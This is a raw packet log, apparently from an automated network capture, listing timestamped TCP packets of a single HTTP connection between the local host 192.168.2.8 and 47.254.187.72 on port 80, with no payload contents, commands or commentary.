Jan 2, 2025 20:20:03.201642990 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.201649904 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.201653004 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.201672077 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.201673985 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.201688051 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.201699972 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.201704025 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.201719046 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.201730967 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.201744080 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.201754093 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.201754093 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.201760054 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.201773882 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.201773882 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.201788902 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.201802969 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.201807976 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.201807976 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.201816082 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.201831102 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.201843023 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.201853037 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.201932907 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.201932907 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.273693085 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.273802042 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.273808956 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.273822069 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.273834944 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.273849010 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.273861885 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.273869038 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.273876905 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.273890018 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.273895025 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.273926020 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.289927006 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.289942980 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.289968967 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.289979935 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.289994955 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.290000916 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.290000916 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.290009022 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.290024996 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.290050983 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.290050983 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.290050983 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.290070057 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.290611029 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.290622950 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.290636063 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.290683985 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.290683985 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.290724039 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.290738106 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.290750980 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.290762901 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.290786028 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.290817022 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.290817022 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.290817022 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.290863991 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.290874004 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.290874958 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.290885925 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.290900946 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.290915012 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.290920973 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.290927887 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.290944099 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.290944099 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.290957928 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.290965080 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.290975094 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.291003942 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.291026115 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.291043043 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.291071892 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.291075945 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.291090965 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.291114092 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.291121960 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.291130066 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.291143894 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.291173935 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.291173935 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.291187048 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.291187048 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.291203976 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.291281939 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.291316986 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.291340113 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.291352987 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.291363955 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.291376114 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.291376114 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.291394949 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.291394949 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.291398048 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.291419983 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.291421890 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.291433096 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.291448116 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.291459084 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.291475058 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.291481972 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.291481972 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.291488886 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.291501045 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.291506052 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.291521072 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.291526079 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.291534901 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.291538954 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.291548967 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.291553974 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.291567087 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.291567087 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.291580915 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.291594982 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.291598082 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.291598082 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.291610003 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.291624069 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.291630983 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.291649103 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.291659117 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.291673899 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.291676998 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.291695118 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.291706085 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.291737080 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.291737080 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.291781902 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.291783094 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.291795015 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.291806936 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.291836023 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.291841030 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.291852951 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.291863918 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.291865110 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.291884899 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.291902065 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.291908026 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.291908026 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.291913986 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.291938066 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.291940928 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.291940928 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.291953087 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.291965008 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.291979074 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.291982889 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.291982889 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.292001009 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.292002916 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.292011976 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.292016983 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.292030096 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.292064905 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.292064905 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.292064905 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.292082071 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.292195082 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.292215109 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.292231083 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.292244911 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.292257071 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.292259932 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.292269945 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.292285919 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.292299032 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.292315006 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.292315006 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.292315006 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.292318106 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.292334080 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.292346954 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.292351961 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.292351961 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.292367935 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.292373896 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.292375088 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.292383909 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.292397976 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.292404890 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.292412043 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.292419910 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.292424917 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.292438984 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.292449951 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.292449951 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.292450905 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.292464972 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.292471886 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.292483091 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.292495966 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.292509079 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.292525053 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.292535067 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.292535067 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.292538881 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.292552948 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.292565107 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.292570114 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.292570114 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.292579889 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.292587996 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.292596102 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.292610884 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.292620897 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.292620897 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.292624950 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.292639017 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.292650938 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.292658091 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.292659044 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.292665958 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.292680979 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.292692900 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.292692900 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.292692900 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.292706966 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.292716980 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.292721033 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.292731047 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.292742968 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.292747974 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.292747974 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.292756081 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.292768002 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.292774916 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.292781115 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.292793036 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.292821884 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.292853117 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.364295959 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.364310026 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.364321947 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.364379883 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.364393950 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.364418983 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.364425898 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.364425898 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.364433050 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.364448071 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.364449978 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.364460945 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.364483118 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.364506006 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.380498886 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.380510092 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.380526066 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.380578995 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.380589008 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.380597115 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.380601883 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.380614996 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.380625963 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.380636930 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.380664110 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.380664110 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.380664110 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.380697012 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.381373882 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.381453037 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.381462097 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.381474018 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.381486893 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.381498098 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.381511927 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.381515980 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.381515980 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.381530046 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.381531000 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.381555080 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.381567001 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.381575108 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.381587982 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.381607056 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.381608009 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.381613970 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.381625891 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.381630898 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.381640911 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.381659031 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.381664038 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.381671906 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.381681919 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.381685972 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.381700039 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.381709099 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.381727934 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.381736040 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.381736040 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.381747961 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.381759882 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.381766081 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.381772041 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.381782055 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.381798983 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.381809950 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.381820917 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.381829977 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.381831884 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.381831884 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.381841898 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.381861925 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.381874084 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.381875038 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.381887913 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.381895065 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.381901026 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.381907940 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.381920099 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.381932974 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.381937027 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.381947041 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.381969929 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.381969929 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.381982088 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.381985903 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.381998062 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.382018089 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.382025957 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.382035971 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.382038116 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.382044077 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.382055998 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.382061958 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.382081032 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.382095098 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.382114887 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.382117033 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.382117033 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.382128954 CET	80	49704	47.254.187.72	192.168.2.8
